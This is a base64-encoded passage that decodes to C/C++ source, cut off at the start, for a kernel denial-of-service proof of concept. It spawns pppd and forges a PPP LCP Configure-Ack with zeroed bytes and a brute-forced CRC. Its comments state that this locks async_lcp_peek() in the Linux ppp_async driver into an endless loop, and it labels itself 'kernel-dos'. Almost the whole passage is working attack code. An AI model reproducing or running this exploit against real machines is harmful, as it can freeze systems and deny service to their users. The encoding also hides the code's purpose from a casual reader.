OwoKICAgICAgICBpZiAoZGF0YVsyXSA9PSAweGMwICYmIGRhdGFbM10gPT0gMHgyMSAmJiBkYXRh WzRdID09IDB4MDEpIHsKICAgICAgICAgICAgZGF0YVs0XSA9IFBQUF9DT05GSUdVUkVfQUNLOwoK ICAgICAgICAgICAgVUludDE2IGZjcyA9IFBQUElOSVRGQ1MxNjsKICAgICAgICAgICAgbGVuZ3Ro ID0gKChpbnQpIGRhdGFbNl0gPDwgOCB8IChpbnQpZGF0YVs3XSkgKyA0OwogICAgICAgICAgICBm b3IgKGludCBpID0gNTsgaSA8IGxlbmd0aDsgaSsrKQogICAgICAgICAgICAgICAgZmNzID0gKGZj cyA+PiA4KSBeIFRyYW5zbGF0ZXI6OmZjc3RhYlsoZmNzIF4gZGF0YVtpXSkgJiAweGZmXTsKCgkg ICAgICAvLyBUaGUgemVybyBpbiBwb3NpdGlvbiA5IGhlcmUgaXMgd2hhdCBjYXVzZXMgdGhlIHBy b2JsZW0uCgkgICAgICAvLyBUaGUga2VybmVsIGNvZGUgdGhhdCBoYW5ncyBpcyBhIG1ldGhvZCBj YWxsZWQgYXN5bmNfbGNwX3BlZWsoKSBpbiBkcml2ZXJzL25ldC9wcHBfYXN5bmMuYwoJICAgICAg Ly8gVGhlIHdoaWxlIGxvb3AgZ2V0cyBpbnRvIGEgdGlnaHQgbG9vcCBmb3JldmVyLgogICAgICAg ICAgICBmb3IgKGludCBpID0gODsgaSA8IGxlbmd0aDsgaSsrKQogICAgICAgICAgICAgICAgZGF0 YVtpXSA9IDB4MDA7CgogICAgICAgICAgICAgIC8vIEJydXRlLWZvcmNlIGFuIENSQyB0aGF0IHdp bGwgc2F0aXNmeSB0aGUgQ1JDIG1hdGNoaW5nIGNoZWNrIGF0IHRoZSB0b3Agb2YgdGhlCgkgICAg ICAvLyBhc3luY19sY3BfcGVlayBmdW5jdGlvbi4KICAgICAgICAgICAgd2hpbGUgKHRydWUpIHsK ICAgICAgICAgICAgICAgIFVJbnQxNiBuZXdGQ1MgPSBQUFBJTklURkNTMTY7CiAgICAgICAgICAg ICAgICBmb3IgKGludCBpID0gNTsgaSA8IGxlbmd0aDsgaSsrKQogICAgICAgICAgICAgICAgICAg IG5ld0ZDUyA9IChuZXdGQ1MgPj4gOCkgXiBUcmFuc2xhdGVyOjpmY3N0YWJbKG5ld0ZDUyBeIGRh dGFbaV0pICYgMHhmZl07CiAgICAgICAgICAgICAgICBpZiAobmV3RkNTID09IGZjcykKICAgICAg ICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGZvciAoaW50IGkgPSAxMDsgaSA8 IGxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgZGF0YVtpXSsrOwogICAgICAgICAg ICAgICAgICAgIGlmIChkYXRhW2ldICE9IDApCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFr OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBwcmludGYoInJl cGx5OiIpOwogICAgICAgICAgICBmb3IgKGludCBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKQogICAg ICAgICAgICAgICAgcHJpbnRmKCIgJTAyeCIsIGRhdGFbaV0pOwogICAgICAgICAgICBwcmludGYo IlxuIik7CgogICAgICAgICAgICB0cmFuc2xhdGVyLT50b0FzeW5jKGRhdGEsIGxlbmd0aCk7CiAg ICAgICAgfQp9Cgp2b2lkIE15TGlzdGVuZXI6OndyaXRlQXN5bmModW5zaWduZWQgY2hhciogZGF0 YSwgaW50IGxlbmd0aCkKewogICAgd3JpdGUob3V0RkQsIGRhdGEsIGxlbmd0aCk7Cn0KCmludCBt YWluKGludCBhcmdjLCBjaGFyKiBhcmd2W10pCnsKICAgIGludCBpblBpcGVbMl07CiAgICBwaXBl KGluUGlwZSk7CiAgICBpbnQgb3V0UGlwZVsyXTsKICAgIHBpcGUob3V0UGlwZSk7CgogICAgcGlk X3QgcGlkID0gZm9yaygpOwogICAgaWYgKHBpZCA9PSAwKSB7CiAgICAgICAgZHVwMihvdXRQaXBl WzBdLCAwKTsKICAgICAgICBkdXAyKGluUGlwZVsxXSwgMSk7CiAgICAgICAgY2xvc2Uob3V0UGlw ZVsxXSk7CiAgICAgICAgY2xvc2UoaW5QaXBlWzBdKTsKICAgICAgICBwcmludGYoIkhlbGxvISIp OwogICAgICAgIGV4ZWNsKCIvdXNyL3NiaW4vcHBwZCIsICIvdXNyL3NiaW4vcHBwZCIsICJub3R0 eSIsICJkZWJ1ZyIsIE5VTEwpOwogICAgICAgIHJldHVybiAxOwogICAgfQogICAgY2xvc2Uob3V0 UGlwZVswXSk7CiAgICBjbG9zZShpblBpcGVbMV0pOwoKICAgIE15TGlzdGVuZXIgbGlzdGVuZXIo b3V0UGlwZVsxXSk7CiAgICBUcmFuc2xhdGVyIHRyYW5zbGF0ZXIoImtlcm5lbC1kb3MiLCAmbGlz dGVuZXIpOwogICAgbGlzdGVuZXIudHJhbnNsYXRlciA9ICZ0cmFuc2xhdGVyOwoKICAgIHByaW50 ZigiVGFsa2luZyB0byBwcHBkXG4iKTsKICAgIHVuc2lnbmVkIGNoYXIgYnVmWzEwMjRdOwogICAg aW50IG47CiAgICB3aGlsZSAoKG4gPSByZWFkKGluUGlwZVswXSwgYnVmLCBzaXplb2YoYnVmKSkp ID4gMCkgewogICAgICAgIHByaW50ZigicmVhZCAlZCBieXRlc1xuIiwgbik7CiAgICAgICAgdHJh bnNsYXRlci50b1N5bmMoYnVmLCBuKTsKICAgIH0KfQoK